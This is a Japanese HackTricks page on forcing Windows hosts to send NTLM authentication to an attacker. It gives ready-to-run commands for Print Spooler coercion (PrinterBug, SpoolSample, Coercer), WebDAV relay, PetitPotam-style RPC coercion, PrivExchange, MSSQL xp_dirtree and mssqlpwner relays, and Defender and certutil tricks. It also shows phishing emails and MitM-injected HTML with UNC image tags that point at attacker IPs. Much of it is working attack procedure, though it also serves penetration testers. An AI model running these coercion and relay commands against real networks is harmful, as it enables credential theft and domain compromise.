Force NTLM Privileged Authentication

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート

SharpSystemTriggers

SharpSystemTriggers は、3rd party dependencies を避けるために MIDL compiler を使用して C# で記述された、remote authentication triggersコレクションです。

Spooler Service Abuse

Print Spooler サービスが有効であれば、既知の AD credentials を使って Domain Controller の print server に対し、新しい print jobs の更新を要求し、その通知をある system に送るように指示できます。
printer が任意の system に通知を送信するとき、その system に対して authentication する必要がある点に注意してください。したがって、攻撃者は Print Spooler サービスに任意の system へ authentication させることができ、その際サービスはこの authentication に computer account を使用します。

内部的には、古典的な PrinterBug primitive は \\PIPE\\spoolss 上の RpcRemoteFindFirstPrinterChangeNotificationEx を悪用します。攻撃者はまず printer/server handle を開き、次に pszLocalMachine に偽の client name を渡すことで、target spooler に attacker-controlled host へ戻る notification channel を作成させます。これが、効果が direct code execution ではなく outbound authentication coercion である理由です。
spooler 自体で RCE/LPE を探している場合は、PrintNightmare を確認してください。このページは coercion と relay に焦点を当てています。

ドメイン上の Windows Servers を見つける

PowerShell を使って、Windows boxes の一覧を取得します。Servers は通常優先度が高いので、そこに注目しましょう:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Spooler services listening の確認

少し変更した @mysmartlogin’s (Vincent Le Toux’s) の SpoolerScanner を使用して、Spooler Service が待ち受けているか確認します:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Linux上でもrpcdump.pyを使用して、MS-RPRNプロトコルを探すこともできます:

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Linuxから NetExec/CrackMapExec を使ってホストを素早くテストするには:

nxc smb targets.txt -u user -p password -M spooler

スプーラーのエンドポイントが存在するかどうかを確認するだけでなく、coercion surfaces を列挙したい場合は、Coercer scan mode を使用します:

coercer scan -u user -p password -d domain -t TARGET --filter-protocol-name MS-RPRN
coercer scan -u user -p password -d domain -t TARGET --filter-pipe-name spoolss

これは有用です。というのも、EPMでエンドポイントを確認できても、そのprint RPC interfaceが登録されていることが分かるだけだからです。それは、現在の権限であらゆる coercion method に到達できることや、ホストが利用可能な認証フローを送出することを保証しません。

サービスに任意のホストへの認証を要求する

SpoolSample from here をコンパイルできます。

SpoolSample.exe <TARGET> <RESPONDERIP>

または、Linux を使っている場合は 3xocyte’s dementor.py または printerbug.py を使用できます

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Coercer を使うと、spooler インターフェースを直接狙え、どの RPC method が公開されているかを推測する必要を避けられます:

coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-protocol-name MS-RPRN
coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-method-name RpcRemoteFindFirstPrinterChangeNotificationEx

WebClientでSMBの代わりにHTTPを強制する

Classic PrinterBug は通常、\\attacker\share への SMB 認証を発生させます。これは captureHTTP targets への relay、または SMB signing がない場合の relay にまだ有用です。
しかし、現代の環境では、SMB to SMB の relay は SMB signing によってしばしばブロックされるため、運用者は代わりに HTTP/WebDAV 認証を強制することをよく選びます。

ターゲットで WebClient サービスが動作している場合、listener は Windows に HTTP 上の WebDAV を使わせる形式で指定できます:

printerbug.py 'domain/username:password'@TARGET 'ATTACKER@80/share'
coercer coerce -u user -p password -d domain -t TARGET -l ATTACKER --http-port 80 --filter-protocol-name MS-RPRN

これは、ntlmrelayx --adcs や他の HTTP relay target と連鎖させる場合に特に有用です。というのも、強制された接続で SMB relayability に依存しなくて済むからです。重要な注意点は、HTTP/WebDAV 版を機能させるには、被害者上で WebClient が実行中 である必要があることです。

Unconstrained Delegation と組み合わせる

攻撃者がすでに Unconstrained Delegation を持つコンピュータを侵害している場合、攻撃者はプリンタにこのコンピュータへ認証させることができます。Unconstrained Delegation により、プリンタの computer accountTGT は、Unconstrained Delegation のあるコンピュータの memory保存されます。攻撃者はすでにこのホストを侵害しているため、この ticket を取得して悪用できます(Pass the Ticket)。

RPC 強制認証

Coercer

RPC UNC-path coercion matrix (外向き認証をトリガーする interfaces/opnums)

  • MS-RPRN (Print System Remote Protocol)
  • Pipe: \PIPE\spoolss
  • IF UUID: 12345678-1234-abcd-ef00-0123456789ab
  • Opnums: 62 RpcRemoteFindFirstPrinterChangeNotification; 65 RpcRemoteFindFirstPrinterChangeNotificationEx
  • Tools: PrinterBug / SpoolSample / Coercer
  • MS-PAR (Print System Asynchronous Remote)
  • Pipe: \PIPE\spoolss
  • IF UUID: 76f03f96-cdfd-44fc-a22c-64950a001209
  • Notes: 同じ spooler pipe 上の非同期 print interface。Coercer を使って、指定したホストで到達可能な method を列挙する
  • MS-EFSR (Encrypting File System Remote Protocol)
  • Pipes: \PIPE\efsrpc (also via \PIPE\lsarpc, \PIPE\samr, \PIPE\lsass, \PIPE\netlogon)
  • IF UUIDs: c681d488-d850-11d0-8c52-00c04fd90f7e ; df1941c5-fe89-4e79-bf10-463657acf44d
  • Opnums commonly abused: 0, 4, 5, 6, 7, 12, 13, 15, 16
  • Tool: PetitPotam
  • MS-DFSNM (DFS Namespace Management)
  • Pipe: \PIPE\netdfs
  • IF UUID: 4fc742e0-4a10-11cf-8273-00aa004ae673
  • Opnums: 12 NetrDfsAddStdRoot; 13 NetrDfsRemoveStdRoot
  • Tool: DFSCoerce
  • MS-FSRVP (File Server Remote VSS)
  • Pipe: \PIPE\FssagentRpc
  • IF UUID: a8e0653c-2744-4389-a61d-7373df8b2292
  • Opnums: 8 IsPathSupported; 9 IsPathShadowCopied
  • Tool: ShadowCoerce
  • MS-EVEN (EventLog Remoting)
  • Pipe: \PIPE\even
  • IF UUID: 82273fdc-e32a-18c3-3f78-827929dc23ea
  • Opnum: 9 ElfrOpenBELW
  • Tool: CheeseOunce

Note: これらの method は UNC path を運べる parameter を受け付けます(例: \\attacker\share)。処理されると、Windows はその UNC に対して認証(machine/user context)し、NetNTLM の capture または relay を可能にします。
spooler abuse では、MS-RPRN opnum 65 が依然として最も一般的で、最も文書化された primitive です。というのも、protocol specification には、server が pszLocalMachine で指定された client へ通知 channel を作成すると明記されているからです。

MS-EVEN: ElfrOpenBELW (opnum 9) coercion

  • Interface: \PIPE\even 上の MS-EVEN (IF UUID 82273fdc-e32a-18c3-3f78-827929dc23ea)
  • Call signature: ElfrOpenBELW(UNCServerName, BackupFileName=“\\attacker\share\backup.evt”, MajorVersion=1, MinorVersion=1, LogHandle)
  • Effect: target は与えられた backup log path を開こうとし、attacker-controlled UNC に認証します。
  • Practical use: Tier 0 assets (DC/RODC/Citrix/etc.) を強制して NetNTLM を送信させ、その後 AD CS endpoints (ESC8/ESC11 scenarios) や他の privileged services へ relay する。

PrivExchange

PrivExchange attack は、Exchange Server PushSubscription feature に見つかった flaw の結果です。この feature により、mailbox を持つ任意の domain user は、Exchange server に対して client-provided host へ HTTP 経由で認証させることができます。

既定では、Exchange service は SYSTEM として実行され、過剰な privileges が付与されています(具体的には、pre-2019 Cumulative Update の domain では WriteDacl privileges を持ちます)。この flaw は、LDAP への relaying を有効にし、その後 domain NTDS database を抽出するために悪用できます。LDAP への relaying が不可能な場合でも、この flaw は domain 内の他の host への relay と認証に引き続き使用できます。この attack の成功により、認証済みの任意の domain user account から即座に Domain Admin へアクセスできます。

Windows 内部

すでに Windows machine の内部にいる場合は、次の方法で privileged accounts を使って Windows に server へ接続させることができます:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

または、別のテクニックを使います: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

certutil.exe lolbin (Microsoft-signed binary) を使って NTLM authentication を強制することが可能です:

certutil.exe -syncwithWU  \\127.0.0.1\share

HTMLインジェクション

email 経由

侵害したいマシンにログインする user の email address がわかっているなら、たとえば次のような 1x1 image を含む email をその user に送るだけでよいです

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

そして彼がそれを開くと、認証しようとします。

MitM

コンピュータに対して MitM 攻撃を実行でき、彼が表示するページに HTML を注入できるなら、次のような画像をページに注入してみることができます:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

NTLM認証を強制およびフィッシングするその他の方法

Places to steal NTLM creds

NTLMv1をクラックする

NTLMv1チャレンジをキャプチャできるなら、ここでそのクラック方法を読む.
覚えておいてください。NTLMv1をクラックするには、Responderのchallengeを “1122334455667788” に設定する必要があります

References

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート